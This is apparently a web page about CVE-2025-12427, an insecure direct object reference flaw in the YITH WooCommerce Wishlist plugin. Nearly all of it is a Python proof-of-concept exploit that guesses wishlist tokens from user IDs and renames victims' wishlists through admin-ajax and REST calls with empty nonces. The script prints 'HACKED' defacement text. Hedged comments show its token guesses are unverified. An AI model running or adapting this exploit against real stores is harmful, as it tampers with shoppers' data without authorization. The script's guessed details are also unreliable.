CVE-2025-12427 | YITH WooCommerce Wishlist IDOR漏洞致未授权篡改

# CVE-2025-12427 PoC - YITH WooCommerce Wishlist IDOR # Discover wishlist token and rename victim's wishlist import requests import json TARGET_URL = "https://vulnerable-site.com/wp-json/yith-wcwl/v1/lists" AJAX_URL = "https://vulnerable-site.com/wp-admin/admin-ajax.php" # Step 1: Discover user wishlist token via REST API def discover_wishlist_token(user_id): """Enumerate wishlist tokens by guessing token patterns""" headers = { "Content-Type": "application/json", "X-WP-Nonce": "" # May not be required for public endpoints } # Try common token patterns token_patterns = [ f"user_{user_id}_wishlist", f"{user_id}_default", f"wishlist_{user_id}" ] for token in token_patterns: response = requests.get(f"{TARGET_URL}/{token}", headers=headers) if response.status_code == 200: return token return None # Step 2: Rename victim's wishlist via AJAX (IDOR exploit) def rename_wishlist(token, new_name): """Exploit IDOR to rename any user's wishlist without authorization""" data = { "action": "yith_wcwl_rename_wishlist", "wishlist_id": token, "wishlist_name": new_name, "nonce": "" # May not be required or can be bypassed } response = requests.post(AJAX_URL, data=data) return response.status_code == 200 # Step 3: Rename via REST API def rename_via_rest_api(token, new_name): """Alternative: Rename wishlist via REST API""" headers = { "Content-Type": "application/json" } payload = {"name": new_name} response = requests.patch( f"{TARGET_URL}/{token}", headers=headers, json=payload ) return response.status_code == 200 # Main execution if __name__ == "__main__": # Example: Target user ID 123 user_id = 123 new_wishlist_name = "HACKED - Defaced Wishlist" print(f"[*] Discovering wishlist token for user {user_id}...") token = discover_wishlist_token(user_id) if token: print(f"[+] Found token: {token}") print(f"[*] Attempting to rename wishlist to: {new_wishlist_name}") if rename_wishlist(token, new_wishlist_name): print("[+] SUCCESS: Wishlist renamed via AJAX!") elif rename_via_rest_api(token, new_wishlist_name): print("[+] SUCCESS: Wishlist renamed via REST API!") else: print("[-] FAILED: Could not rename wishlist") else: print("[-] FAILED: Could not discover wishlist token")